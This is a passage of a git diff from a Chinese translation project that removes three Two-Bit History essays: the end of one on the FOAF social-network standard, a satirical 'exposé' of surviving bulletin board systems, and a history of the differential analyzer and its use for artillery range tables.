“‘Users want to own their own data’ is an ideology, not a use case.”[10][16] If users do not value control enough to stomach additional complexity, and if centralized systems are more simple than distributed ones—and if, further, centralized systems tend to be closed and thus the successful ones enjoy powerful network effects—then social networks are indeed natural monopolies. - -That said, I think there is still a distinction to be drawn between the subway system case and the social networking case. I am comfortable with the MTA’s monopoly on subway travel because I expect subway systems to be natural monopolies for a long time to come. If there is going to be only one operator of the New York City Subway, then it ought to be the government, which is at least nominally more accountable than a private company with no competitors. But I do not expect social networks to stay natural monopolies. The Subway is carved in granite; the digital world is writ in water. Distributed social networks may now be more complicated than centralized networks in the same way that carrying two MetroCards is more complicated than carrying one. In the future, though, the web, or even the internet, could change in fundamental ways that make distributed technology much easier to use. - -If that happens, perhaps FOAF will be remembered as the first attempt to build the kind of social network that humanity, after a brief experiment with corporate mega-databases, does and always will prefer. - -_If you enjoyed this post, more like it come out every four weeks! Follow [@TwoBitHistory][17] on Twitter or subscribe to the [RSS feed][18] to make sure you know when a new post is out._ - -_Previously on TwoBitHistory…_ - -> I know it's been too long since my last post, but my new one is here! I wrote almost 5000 words on John Carmack, Doom, and the history of the binary space partitioning tree. -> -> — TwoBitHistory (@TwoBitHistory) [November 6, 2019][19] - - 1. Please note that I did not dare say “dead.” [↩︎][20] - - 2. Jack Schofield, “Let’s be Friendsters,” The Guardian, February 19, 2004, accessed January 5, 2020, . [↩︎][21] - - 3. Dan Brickley and Libby Miller, “Introducing FOAF,” FOAF Project, 2008, accessed January 5, 2020, . [↩︎][22] - - 4. ibid. [↩︎][23] - - 5. Wikipedia contributors, “JSON-LD,” Wikipedia: The Free Encyclopedia, December 13, 2019, accessed January 5, 2020, . [↩︎][24] - - 6. “Data Sources,” FOAF Project Wiki, December 11 2009, accessed January 5, 2020, . [↩︎][25] - - 7. Aldon Hynes, “What is Dean Space?”, Extreme Democracy, accessed January 5, 2020, . [↩︎][26] - - 8. “Understand how structured data works,” Google Developer Portal, accessed January 5, 2020, . [↩︎][27] - - 9. tef, “Why your distributed network will not work,” Progamming is Terrible, January 2, 2013, . [↩︎][28] - - 10. Dan Brickley, “Identifying things in FOAF,” rdfweb-dev Mailing List, July 10, 2003, accessed on January 5, 2020, . [↩︎][29] - - - - --------------------------------------------------------------------------------- - -via: https://twobithistory.org/2020/01/05/foaf.html - -作者:[Two-Bit History][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://twobithistory.org -[b]: https://github.com/lujun9972 -[1]: tmp.mJHAgyVHGr#fn:1 -[2]: https://en.wikipedia.org/wiki/Fediverse -[3]: https://en.wikipedia.org/wiki/Prodigy_(online_service) -[4]: https://twobithistory.org/2018/05/27/semantic-web.html -[5]: https://www.ftrain.com/google_takes_all -[6]: tmp.mJHAgyVHGr#fn:2 -[7]: tmp.mJHAgyVHGr#fn:3 -[8]: tmp.mJHAgyVHGr#fn:4 -[9]: tmp.mJHAgyVHGr#fn:5 -[10]: http://www.ldodds.com/foaf/foaf-a-matic -[11]: tmp.mJHAgyVHGr#fn:6 -[12]: tmp.mJHAgyVHGr#fn:7 -[13]: tmp.mJHAgyVHGr#fn:8 -[14]: https://en.wikipedia.org/wiki/Mastodon_(software) -[15]: tmp.mJHAgyVHGr#fn:9 -[16]: tmp.mJHAgyVHGr#fn:10 -[17]: https://twitter.com/TwoBitHistory -[18]: https://twobithistory.org/feed.xml -[19]: https://twitter.com/TwoBitHistory/status/1192196764239093760?ref_src=twsrc%5Etfw -[20]: tmp.mJHAgyVHGr#fnref:1 -[21]: tmp.mJHAgyVHGr#fnref:2 -[22]: tmp.mJHAgyVHGr#fnref:3 -[23]: tmp.mJHAgyVHGr#fnref:4 -[24]: tmp.mJHAgyVHGr#fnref:5 -[25]: tmp.mJHAgyVHGr#fnref:6 -[26]: tmp.mJHAgyVHGr#fnref:7 -[27]: tmp.mJHAgyVHGr#fnref:8 -[28]: tmp.mJHAgyVHGr#fnref:9 -[29]: tmp.mJHAgyVHGr#fnref:10 diff --git a/sources/talk/20200202 Bulletin Board Systems- The VICE Exposé.md b/sources/talk/20200202 Bulletin Board Systems- The VICE Exposé.md deleted file mode 100644 index c2a93b6f40..0000000000 --- a/sources/talk/20200202 Bulletin Board Systems- The VICE Exposé.md +++ /dev/null @@ -1,127 +0,0 @@ -[#]: subject: "Bulletin Board Systems: The VICE Exposé" -[#]: via: "https://twobithistory.org/2020/02/02/bbs.html" -[#]: author: "Two-Bit History https://twobithistory.org" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Bulletin Board Systems: The VICE Exposé -====== - -By now, you have almost certainly heard of the dark web. On sites unlisted by any search engine, in forums that cannot be accessed without special passwords or protocols, criminals and terrorists meet to discuss conspiracy theories and trade child pornography. - -We here at VICE headquarters have reported before on the dark web’s [“hurtcore” communities][1], its [human trafficking markets][2], its [rent-a-hitman websites][3]. We have explored [the challenges the dark web presents to regulators][4], the rise of [dark web revenge porn][5], and the frightening size of [the dark web gun trade][6]. We have kept you informed about that one dark web forum where you can make like Walter White and [learn how to manufacture your own drugs][7], and also about—thanks to our foreign correspondent—[the Chinese dark web][8]. We have even attempted to [catalog every single location on the dark web][9]. Our coverage of the dark web has been nothing if not comprehensive. - -But I wanted to go deeper. - -We know that below the surface web is the deep web, and below the deep web is the dark web. It stands to reason that below the dark web there should be a deeper, darker web. - -A month ago, I set out to find it. Unsure where to start, I made a post on _Reddit_, a website frequented primarily by cosplayers and computer enthusiasts. I asked for a guide, a Styx ferryman to bear me across to the mythical underworld I sought to visit. - -Only minutes after I made my post, I received a private message. “If you want to see it, I’ll take you there,” wrote _Reddit_ user FingerMyKumquat. “But I’ll warn you just once—it’s not pretty to see.” - -### Getting Access - -This would not be like visiting Amazon to shop for toilet paper. I could not just enter an address into the address bar of my browser and hit go. In fact, as my Charon informed me, where we were going, there are no addresses. At least, no web addresses. - -But where exactly were we going? The answer: Back in time. The deepest layer of the internet is also the oldest. Down at this deepest layer exists a secret society of “bulletin board systems,” a network of underground meetinghouses that in some cases have been in continuous operation since the 1980s—since before Facebook, before Google, before even stupidvideos.com. - -To begin, I needed to download software that could handle the ancient protocols used to connect to the meetinghouses. I was told that bulletin board systems today use an obsolete military protocol called Telnet. Once upon a time, though, they operated over the phone lines. To connect to a system back then you had to dial its _phone number_. - -The software I needed was called [SyncTerm][10]. It was not available on the App Store. In order to install it, I had to compile it. This is a major barrier to entry, I am told, even to veteran computer programmers. - -When I had finally installed SyncTerm, my guide said he needed to populate my directory. I asked what that was a euphemism for, but was told it was not a euphemism. Down this far, there are no search engines, so you can only visit the bulletin board systems you know how to contact. My directory was the list of bulletin board systems I would be able to contact. My guide set me up with just seven, which he said would be more than enough. - -_More than enough for what,_ I wondered. Was I really prepared to go deeper than the dark web? Was I ready to look through this window into the black abyss of the human soul? - -![][11] _The vivid blue interface of SyncTerm. My directory of BBSes on the left._ - -### Heatwave - -I decided first to visit the bulletin board system called “Heatwave,” which I imagined must be a hangout for global warming survivalists. I “dialed” in. The next thing I knew, I was being asked if I wanted to create a user account. I had to be careful to pick an alias that would be inconspicuous in this sub-basement of the internet. I considered “DonPablo,” and “z3r0day,” but finally chose “ripper”—a name I could remember because it is also the name of my great-aunt Meredith’s Shih Tzu. I was then asked where I was dialing from; I decided “xxx” was the right amount of enigmatic. - -And then—I was in. Curtains of fire rolled down my screen and dispersed, revealing the main menu of the Heatwave bulletin board system. - -![][12] _The main menu of the Heatwave BBS._ - -I had been told that even in the glory days of bulletin board systems, before the rise of the world wide web, a large system would only have several hundred users or so. Many systems were more exclusive, and most served only users in a single telephone area code. But how many users dialed the “Heatwave” today? There was a main menu option that read “(L)ast Few Callers,” so I hit “L” on my keyboard. - -My screen slowly filled with a large table, listing all of the system’s “callers” over the last few days. Who were these shadowy outcasts, these expert hackers, these denizens of the digital demimonde? My eyes scanned down the list, and what I saw at first confused me: There was a “Dan,” calling from St. Louis, MO. There was also a “Greg Miller,” calling from Portland, OR. Another caller claimed he was “George” calling from Campellsburg, KY. Most of the entries were like that. - -It was a joke, of course. A meme, a troll. It was normcore fashion in noms de guerre. These were thrill-seeking Palo Alto adolescents on Adderall making fun of the surface web. They weren’t fooling me. - -I wanted to know what they talked about with each other. What cryptic colloquies took place here, so far from public scrutiny? My index finger, with ever so slight a tremble, hit “M” for “(M)essage Areas.” - -Here, I was presented with a choice. I could enter the area reserved for discussions about “T-99 and Geneve,” which I did not dare do, not knowing what that could possibly mean. I could also enter the area for discussions about “Other,” which seemed like a safe place to start. - -The system showed me message after message. There was advice about how to correctly operate a leaf-blower, as well as a protracted debate about the depth of the Strait of Hormuz relative to the draft of an aircraft carrier. I assumed the real messages were further on, and indeed I soon spotted what I was looking for. The user “Kevin” was complaining to other users about the side effects of a drug called Remicade. This was not a drug I had heard of before. Was it some powerful new synthetic stimulant? A cocktail of other recreational drugs? Was it something I could bring with me to impress people at the next VICE holiday party? - -I googled it. Remicade is used to treat rheumatoid arthritis and Crohn’s disease. - -In reply to the original message, there was some further discussion about high resting heart rates and mechanical heart valves. I decided that I had gotten lost and needed to contact FingerMyKumquat. “Finger,” I messaged him, “What is this shit I’m looking at here? I want the real stuff. I want blackmail and beheadings. Show me the scum of the earth!” - -“Perhaps you’re ready for the SpookNet,” he wrote back. - -### SpookNet - -Each bulletin board system is an island in the television-static ocean of the digital world. Each system’s callers are lonely sailors come into port after many a month plying the seas. - -But the bulletin board systems are not entirely disconnected. Faint phosphorescent filaments stretch between the islands, links in the special-purpose networks that were constructed—before the widespread availability of the internet—to propagate messages from one system to another. - -One such network is the SpookNet. Not every bulletin board system is connected to the SpookNet. To get on, I first had to dial “Reality Check.” - -![][13] _The Reality Check BBS._ - -Once I was in, I navigated my way past the main menu and through the SpookNet gateway. What I saw then was like a catalog index for everything stored in that secret Pentagon warehouse from the end of the _X-Files_ pilot. There were message boards dedicated to UFOs, to cryptography, to paranormal studies, and to “End Times and the Last Days.” There was a board for discussing “Truth, Polygraphs, and Serums,” and another for discussing “Silencers of Information.” Here, surely, I would find something worth writing about in an article for VICE. - -I browsed and I browsed. I learned about which UFO documentaries are worth watching on Netflix. I learned that “paper mill” is a derogatory term used in the intelligence community (IC) to describe individuals known for constantly trying to sell “explosive” or “sensitive” documents—as in the sentence, offered as an example by one SpookNet user, “Damn, here comes that paper mill Juan again.” I learned that there was an effort afoot to get two-factor authentication working for bulletin board systems. - -“These are just a bunch of normal losers,” I finally messaged my guide. “Mostly they complain about anti-vaxxers and verses from the Quran. This is just _Reddit_!” - -“Huh,” he replied. “When you said ‘scum of the earth,’ did you mean something else?” - -I had one last idea. In their heyday, bulletin board systems were infamous for being where everyone went to download illegal, cracked computer software. An entire subculture evolved, with gangs of software pirates competing to be the first to crack a new release. The first gang to crack the new software would post their “warez” for download along with a custom piece of artwork made using lo-fi ANSI graphics, which served to identify the crack as their own. - -I wondered if there were any old warez to be found on the Reality Check BBS. I backed out of the SpookNet gateway and keyed my way to the downloads area. There were many files on offer there, but one in particular caught my attention: a 5.3 megabyte file just called “GREY.” - -I downloaded it. It was a complete PDF copy of E. L. James’ _50 Shades of Grey_. - -_If you enjoyed this post, more like it come out every four weeks! Follow [@TwoBitHistory][14] on Twitter or subscribe to the [RSS feed][15] to make sure you know when a new post is out._ - -_Previously on TwoBitHistory…_ - -> I first heard about the FOAF (Friend of a Friend) standard back when I wrote my post about the Semantic Web. I thought it was a really interesting take on social networking and I've wanted to write about it since. Finally got around to it! -> -> — TwoBitHistory (@TwoBitHistory) [January 5, 2020][16] - --------------------------------------------------------------------------------- - -via: https://twobithistory.org/2020/02/02/bbs.html - -作者:[Two-Bit History][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://twobithistory.org -[b]: https://github.com/lujun9972 -[1]: https://www.vice.com/en_us/article/mbxqqy/a-journey-into-the-worst-corners-of-the-dark-web -[2]: https://www.vice.com/en_us/article/vvbazy/my-brief-encounter-with-a-dark-web-human-trafficking-site -[3]: https://www.vice.com/en_us/article/3d434v/a-fake-dark-web-hitman-site-is-linked-to-a-real-murder -[4]: https://www.vice.com/en_us/article/ezv85m/problem-the-government-still-doesnt-understand-the-dark-web -[5]: https://www.vice.com/en_us/article/53988z/revenge-porn-returns-to-the-dark-web -[6]: https://www.vice.com/en_us/article/j5qnbg/dark-web-gun-trade-study-rand -[7]: https://www.vice.com/en_ca/article/wj374q/inside-the-dark-web-forum-that-tells-you-how-to-make-drugs -[8]: https://www.vice.com/en_us/article/4x38ed/the-chinese-deep-web-takes-a-darker-turn -[9]: https://www.vice.com/en_us/article/vv57n8/here-is-a-list-of-every-single-possible-dark-web-site -[10]: http://syncterm.bbsdev.net/ -[11]: https://twobithistory.org/images/sync.png -[12]: https://twobithistory.org/images/heatwave-main-menu.png -[13]: https://twobithistory.org/images/reality.png -[14]: https://twitter.com/TwoBitHistory -[15]: https://twobithistory.org/feed.xml -[16]: https://twitter.com/TwoBitHistory/status/1213920921251131394?ref_src=twsrc%5Etfw diff --git a/sources/talk/20200406 How to Use a Differential Analyzer (to Murder People).md b/sources/talk/20200406 How to Use a Differential Analyzer (to Murder People).md deleted file mode 100644 index 440d3fa159..0000000000 --- a/sources/talk/20200406 How to Use a Differential Analyzer (to Murder People).md +++ /dev/null @@ -1,147 +0,0 @@ -[#]: subject: "How to Use a Differential Analyzer (to Murder People)" -[#]: via: "https://twobithistory.org/2020/04/06/differential-analyzer.html" -[#]: author: "Two-Bit History https://twobithistory.org" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -How to Use a Differential Analyzer (to Murder People) -====== - -A differential analyzer is a mechanical, analog computer that can solve differential equations. Differential analyzers aren’t used anymore because even a cheap laptop can solve the same equations much faster—and can do it in the background while you stream the new season of Westworld on HBO. Before the invention of digital computers though, differential analyzers allowed mathematicians to make calculations that would not have been practical otherwise. - -It is hard to see today how a computer made out of anything other than digital circuitry printed in silicon could work. A mechanical computer sounds like something out of a steampunk novel. But differential analyzers did work and even proved to be an essential tool in many lines of research. Most famously, differential analyzers were used by the US Army to calculate range tables for their artillery pieces. Even the largest gun is not going to be effective unless you have a range table to help you aim it, so differential analyzers arguably played an important role in helping the Allies win the Second World War. - -To understand how differential analyzers could do all this, you will need to know what differential equations are. Forgotten what those are? That’s okay, because I had too. - -### Differential Equations - -Differential equations are something you might first encounter in the final few weeks of a college-level Calculus I course. By that point in the semester, your underpaid adjunct professor will have taught you about limits, derivatives, and integrals; if you take those concepts and add an equals sign, you get a differential equation. - -Differential equations describe rates of change in terms of some other variable (or perhaps multiple other variables). Whereas a familiar algebraic expression like \\(y = 4x + 3\\) specifies the relationship between some variable quantity \\(y\\) and some other variable quantity \\(x\\), a differential equation, which might look like \\(\frac{dy}{dx} = x\\), or even \\(\frac{dy}{dx} = 2\\), specifies the relationship between a _rate of change_ and some other variable quantity. Basically, a differential equation is just a description of a rate of change in exact mathematical terms. The first of those last two differential equations is saying, “The variable \\(y\\) changes with respect to \\(x\\) at a rate defined exactly by \\(x\\),” and the second is saying, “No matter what \\(x\\) is, the variable \\(y\\) changes with respect to \\(x\\) at a rate of exactly 2.” - -Differential equations are useful because in the real world it is often easier to describe how complex systems change from one instant to the next than it is to come up with an equation describing the system at all possible instants. Differential equations are widely used in physics and engineering for that reason. One famous differential equation is the heat equation, which describes how heat diffuses through an object over time. It would be hard to come up with a function that fully describes the distribution of heat throughout an object given only a time \\(t\\), but reasoning about how heat diffuses from one time to the next is less likely to turn your brain into soup—the hot bits near lots of cold bits will probably get colder, the cold bits near lots of hot bits will probably get hotter, etc. So the heat equation, though it is much more complicated than the examples in the last paragraph, is likewise just a description of rates of change. It describes how the temperature of any one point on the object will change over time given how its temperature differs from the points around it. - -Let’s consider another example that I think will make all of this more concrete. If I am standing in a vacuum and throw a tennis ball straight up, will it come back down before I asphyxiate? This kind of question, posed less dramatically, is the kind of thing I was asked in high school physics class, and all I needed to solve it back then were some basic Newtonian equations of motion. But let’s pretend for a minute that I have forgotten those equations and all I can remember is that objects accelerate toward earth at a constant rate of \\(g\\), or about \\(10 \;m/s^2\\). How can differential equations help me solve this problem? - -Well, we can express the one thing I remember about high school physics as a differential equation. The tennis ball, once it leaves my hand, will accelerate toward the earth at a rate of \\(g\\). This is the same as saying that the velocity of the ball will change (in the negative direction) over time at a rate of \\(g\\). We could even go one step further and say that _the rate of change in the height of my ball above the ground_ (this is just its velocity) will change over time at a rate of negative \\(g\\). We can write this down as the following, where \\(h\\) represents height and \\(t\\) represents time: - -\\[\frac{d^2h}{dt^2} = -g\\] - -This looks slightly different from the differential equations we have seen so far because this is what is known as a second-order differential equation. We are talking about the rate of change of a rate of change, which, as you might remember from your own calculus education, involves second derivatives. That’s why parts of the expression on the left look like they are being squared. But this equation is still just expressing the fact that the ball accelerates downward at a constant acceleration of \\(g\\). - -From here, one option I have is to use the tools of calculus to solve the differential equation. With differential equations, this does not mean finding a single value or set of values that satisfy the relationship but instead finding a function or set of functions that do. Another way to think about this is that the differential equation is telling us that there is some function out there whose second derivative is the constant \\(-g\\); we want to find that function because it will give us the height of the ball at any given time. This differential equation happens to be an easy one to solve. By doing so, we can re-derive the basic equations of motion that I had forgotten and easily calculate how long it will take the ball to come back down. - -But most of the time differential equations are hard to solve. Sometimes they are even impossible to solve. So another option I have, given that I paid more attention in my computer science classes that my calculus classes in college, is to take my differential equation and use it as the basis for a simulation. If I know the starting velocity and the acceleration of my tennis ball, then I can easily write a little for-loop, perhaps in Python, that iterates through my problem second by second and tells me what the velocity will be at any given second \\(t\\) after the initial time. Once I’ve done that, I could tweak my for-loop so that it also uses the calculated velocity to update the height of the ball on each iteration. Now I can run my Python simulation and figure out when the ball will come back down. My simulation won’t be perfectly accurate, but I can decrease the size of the time step if I need more accuracy. All I am trying to accomplish anyway is to figure out if the ball will come back down while I am still alive. - -This is the numerical approach to solving a differential equation. It is how differential equations are solved in practice in most fields where they arise. Computers are indispensable here, because the accuracy of the simulation depends on us being able to take millions of small little steps through our problem. Doing this by hand would obviously be error-prone and take a long time. - -So what if I were not just standing in a vacuum with a tennis ball but were standing in a vacuum with a tennis ball in, say, 1936? I still want to automate my computation, but Claude Shannon won’t even complete his master’s thesis for another year yet (the one in which he casually implements Boolean algebra using electronic circuits). Without digital computers, I’m afraid, we have to go analog. - -### The Differential Analyzer - -The first differential analyzer was built between 1928 and 1931 at MIT by Vannevar Bush and Harold Hazen. Both men were engineers. The machine was created to tackle practical problems in applied mathematics and physics. It was supposed to address what Bush described, in [a 1931 paper][1] about the machine, as the contemporary problem of mathematicians who are “continually being hampered by the complexity rather than the profundity of the equations they employ.” - -A differential analyzer is a complicated arrangement of rods, gears, and spinning discs that can solve differential equations of up to the sixth order. It is like a digital computer in this way, which is also a complicated arrangement of simple parts that somehow adds up to a machine that can do amazing things. But whereas the circuitry of a digital computer implements Boolean logic that is then used to simulate arbitrary problems, the rods, gears, and spinning discs _directly_ simulate the differential equation problem. This is what makes a differential analyzer an analog computer—it is a direct mechanical analogy for the real problem. - -How on earth do gears and spinning discs do calculus? This is actually the easiest part of the machine to explain. The most important components in a differential analyzer are the six mechanical integrators, one for each order in a sixth-order differential equation. A mechanical integrator is a relatively simple device that can integrate a single input function; mechanical integrators go back to the 19th century. We will want to understand how they work, but, as an aside here, Bush’s big accomplishment was not inventing the mechanical integrator but rather figuring out a practical way to chain integrators together to solve higher-order differential equations. - -A mechanical integrator consists of one large spinning disc and one much smaller spinning wheel. The disc is laid flat parallel to the ground like the turntable of a record player. It is driven by a motor and rotates at a constant speed. The small wheel is suspended above the disc so that it rests on the surface of the disc ever so slightly—with enough pressure that the disc drives the wheel but not enough that the wheel cannot freely slide sideways over the surface of the disc. So as the disc turns, the wheel turns too. - -The speed at which the wheel turns will depend on how far from the center of the disc the wheel is positioned. The inner parts of the disc, of course, are rotating more slowly than the outer parts. The wheel stays fixed where it is, but the disc is mounted on a carriage that can be moved back and forth in one direction, which repositions the wheel relative to the center of the disc. Now this is the key to how the integrator works: The position of the disc carriage is driven by the input function to the integrator. The output from the integrator is determined by the rotation of the small wheel. So your input function drives the rate of change of your output function and you have just transformed the derivative of some function into the function itself—which is what we call integration! - -If that explanation does nothing for you, seeing a mechanical integrator in action really helps. The principle is surprisingly simple and there is no way to watch the device operate without grasping how it works. So I have created [a visualization of a running mechanical integrator][2] that I encourage you to take a look at. The visualization shows the integration of some function \\(f(x)\\) into its antiderivative \\(F(x)\\) while various things spin and move. It’s pretty exciting. - -![][3] _A nice screenshot of my visualization, but you should check out the real thing!_ - -So we have a component that can do integration for us, but that alone is not enough to solve a differential equation. To explain the full process to you, I’m going to use an example that Bush offers himself in his 1931 paper, which also happens to be essentially the same example we contemplated in our earlier discussion of differential equations. (This was a happy accident!) Bush introduces the following differential equation to represent the motion of a falling body: - -\\[\frac{d^2x}{dt^2} = -k\,\frac{dx}{dt} - g\\] - -This is the same equation we used to model the motion of our tennis ball, only Bush has used \\(x\\) in place of \\(h\\) and has added another term that accounts for how air resistance will decelerate the ball. This new term describes the effect of air resistance on the ball in the simplest possible way: The air will slow the ball’s velocity at a rate that is proportional to its velocity (the \\(k\\) here is some proportionality constant whose value we don’t really care about). So as the ball moves faster, the force of air resistance will be stronger, further decelerating the ball. - -To configure a differential analyzer to solve this differential equation, we have to start with what Bush calls the “input table.” The input table is just a piece of graphing paper mounted on a carriage. If we were trying to solve a more complicated equation, the operator of the machine would first plot our input function on the graphing paper and then, once the machine starts running, trace out the function using a pointer connected to the rest of the machine. In this case, though, our input is just the constant \\(g\\), so we only have to move the pointer to the right value and then leave it there. - -What about the other variables \\(x\\) and \\(t\\)? The \\(x\\) variable is our output as it represents the height of the ball. It will be plotted on graphing paper placed on the output table, which is similar to the input table only the pointer is a pen and is driven by the machine. The \\(t\\) variable should do nothing more than advance at a steady rate. (In our Python simulation of the tennis ball problem as posed earlier, we just incremented \\(t\\) in a loop.) So the \\(t\\) variable comes from the differential analyzer’s motor, which kicks off the whole process by rotating the rod connected to it at a constant speed. - -Bush has a helpful diagram documenting all of this that I will show you in a second, but first we need to make one more tweak to our differential equation that will make the diagram easier to understand. We can integrate both sides of our equation once, yielding the following: - -\\[\frac{dx}{dt} = - \int \left(k\,\frac{dx}{dt} + g\right)\,dt\\] - -The terms in this equation map better to values represented by the rotation of various parts of the machine while it runs. Okay, here’s that diagram: - -![][4] _The differential analyzer configured to solve the problem of a falling body in one dimension._ - -The input table is at the top of the diagram. The output table is at the bottom-right. The output table here is set up to graph both \\(x\\) and \\(\frac{dx}{dt}\\), i.e. height and velocity. The integrators appear at the bottom-left; since this is a second-order differential equation, we need two. The motor drives the very top rod labeled \\(t\\). (Interestingly, Bush referred to these horizontal rods as “buses.”) - -That leaves two components unexplained. The box with the little \\(k\\) in it is a multiplier respresnting our proportionality constant \\(k\\). It takes the rotation of the rod labeled \\(\frac{dx}{dt}\\) and scales it up or down using a gear ratio. The box with the \\(\sum\\) symbol is an adder. It uses a clever arrangement of gears to add the rotations of two rods together to drive a third rod. We need it since our equation involves the sum of two terms. These extra components available in the differential analyzer ensure that the machine can flexibly simulate equations with all kinds of terms and coefficients. - -I find it helpful to reason in ultra-slow motion about the cascade of cause and effect that plays out as soon as the motor starts running. The motor immediately begins to rotate the rod labeled \\(t\\) at a constant speed. Thus, we have our notion of time. This rod does three things, illustrated by the three vertical rods connected to it: it drives the rotation of the discs in both integrators and also advances the carriage of the output table so that the output pen begins to draw. - -Now if the integrators were set up so that their wheels are centered, then the rotation of rod \\(t\\) would cause no other rods to rotate. The integrator discs would spin but the wheels, centered as they are, would not be driven. The output chart would just show a flat line. This happens because we have not accounted for the initial conditions of the problem. In our earlier Python simulation, we needed to know the initial velocity of the ball, which we would have represented there as a constant variable or as a parameter of our Python function. Here, we account for the initial velocity and acceleration by displacing the integrator discs by the appropriate amount before the machine begins to run. - -Once we’ve done that, the rotation of rod \\(t\\) propagates through the whole system. Physically, a lot of things start rotating at the same time, but we can think of the rotation going first to integrator II, which combines it with the acceleration expression calculated based on \\(g\\) and then integrates it to get the result \\(\frac{dx}{dt}\\). This represents the velocity of the ball. The velocity is in turn used as input to integrator I, whose disc is displaced so that the output wheel rotates at the rate \\(\frac{dx}{dt}\\). The output from integrator I is our final output \\(x\\), which gets routed directly to the output table. - -One confusing thing I’ve glossed over is that there is a cycle in the machine: Integrator II takes as an input the rotation of the rod labeled \\((k\,\frac{dx}{dt} + g)\\), but that rod’s rotation is determined in part by the output from integrator II itself. This might make you feel queasy, but there is no physical issue here—everything is rotating at once. If anything, we should not be surprised to see cycles like this, since differential equations often describe rates of change in a function as a function of the function itself. (In this example, the acceleration, which is the rate of change of velocity, depends on the velocity.) - -With everything correctly configured, the output we get is a nice graph, charting both the position and velocity of our ball over time. This graph is on paper. To our modern digital sensibilities, that might seem absurd. What can you do with a paper graph? While it’s true that the differential analyzer is not so magical that it can write out a neat mathematical expression for the solution to our problem, it’s worth remembering that neat solutions to many differential equations are not possible anyway. The paper graph that the machine does write out contains exactly the same information that could be output by our earlier Python simulation of a falling ball: where the ball is at any given time. It can be used to answer any practical question you might have about the problem. - -The differential analyzer is a preposterously cool machine. It is complicated, but it fundamentally involves nothing more than rotating rods and gears. You don’t have to be an electrical engineer or know how to fabricate a microchip to understand all the physical processes involved. And yet the machine does calculus! It solves differential equations that you never could on your own. The differential analyzer demonstrates that the key material required for the construction of a useful computing machine is not silicon but human ingenuity. - -### Murdering People - -Human ingenuity can serve purposes both good and bad. As I have mentioned, the highest-profile use of differential analyzers historically was to calculate artillery range tables for the US Army. To the extent that the Second World War was the “Good Fight,” this was probably for the best. But there is also no getting past the fact that differential analyzers helped to make very large guns better at killing lots of people. And kill lots of people they did—if Wikipedia is to be believed, more soldiers were killed by artillery than small arms fire during the Second World War. - -I will get back to the moralizing in a minute, but just a quick detour here to explain why calculating range tables was hard and how differential analyzers helped, because it’s nice to see how differential analyzers were applied to a real problem. A range table tells the artilleryman operating a gun how high to elevate the barrel to reach a certain range. One way to produce a range table might be just to fire that particular kind of gun at different angles of elevation many times and record the results. This was done at proving grounds like the Aberdeen Proving Ground in Maryland. But producing range tables solely through empirical observation like this is expensive and time-consuming. There is also no way to account for other factors like the weather or for different weights of shell without combinatorially increasing the necessary number of firings to something unmanageable. So using a mathematical theory that can fill in a complete range table based on a smaller number of observed firings is a better approach. - -I don’t want to get too deep into how these mathematical theories work, because the math is complicated and I don’t really understand it. But as you might imagine, the physics that governs the motion of an artillery shell in flight is not that different from the physics that governs the motion of a tennis ball thrown upward. The need for accuracy means that the differential equations employed have to depart from the idealized forms we’ve been using and quickly get gnarly. Even the earliest attempts to formulate a rigorous ballistic theory involve equations that account for, among other factors, the weight, diameter, and shape of the projectile, the prevailing wind, the altitude, the atmospheric density, and the rotation of the earth[1][5]. - -So the equations are complicated, but they are still differential equations that a differential analyzer can solve numerically in the way that we have already seen. Differential analyzers were put to work solving ballistics equations at the Aberdeen Proving Ground in 1935, where they dramatically sped up the process of calculating range tables.[2][6] Nevertheless, during the Second World War, the demand for range tables grew so quickly that the US Army could not calculate them fast enough to accompany all the weaponry being shipped to Europe. This eventually led the Army to fund the ENIAC project at the University of Pennsylvania, which, depending on your definitions, produced the world’s first digital computer. ENIAC could, through rewiring, run any program, but it was constructed primarily to perform range table calculations many times faster than could be done with a differential analyzer. - -Given that the range table problem drove much of the early history of computing even apart from the differential analyzer, perhaps it’s unfair to single out the differential analyzer for moral hand-wringing. The differential analyzer isn’t uniquely compromised by its military applications—the entire field of computing, during the Second World War and well afterward, advanced because of the endless funding being thrown at it by the United States military. - -Anyway, I think the more interesting legacy of the differential analyzer is what it teaches us about the nature of computing. I am surprised that the differential analyzer can accomplish as much as it can; my guess is that you are too. It is easy to fall into the trap of thinking of computing as the realm of what can be realized with very fast digital circuits. In truth, computing is a more abstract process than that, and electronic, digital circuits are just what we typically use to get it done. In his paper about the differential analyzer, Vannevar Bush suggests that his invention is just a small contribution to “the far-reaching project of utilizing complex mechanical interrelationships as substitutes for intricate processes of reasoning.” That puts it nicely. - -_If you enjoyed this post, more like it come out every four weeks! Follow [@TwoBitHistory][7] on Twitter or subscribe to the [RSS feed][8] to make sure you know when a new post is out._ - -_Previously on TwoBitHistory…_ - -> Do you worry that your children are "BBS-ing"? Do you have a neighbor who talks too much about his "door games"? -> -> In this VICE News special report, we take you into the seedy underworld of bulletin board systems: -> -> — TwoBitHistory (@TwoBitHistory) [February 2, 2020][9] - - 1. Alan Gluchoff. “Artillerymen and Mathematicians: Forest Ray Moulton and Changes in American Exterior Ballistics, 1885-1934.” Historia Mathematica, vol. 38, no. 4, 2011, pp. 506–547., . [↩︎][10] - - 2. Karl Kempf. “Electronic Computers within the Ordnance Corps,” 1961, accessed April 6, 2020, . [↩︎][11] - - - - --------------------------------------------------------------------------------- - -via: https://twobithistory.org/2020/04/06/differential-analyzer.html - -作者:[Two-Bit History][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://twobithistory.org -[b]: https://github.com/lujun9972 -[1]: http://worrydream.com/refs/Bush%20-%20The%20Differential%20Analyzer.pdf -[2]: https://sinclairtarget.com/differential-analyzer/ 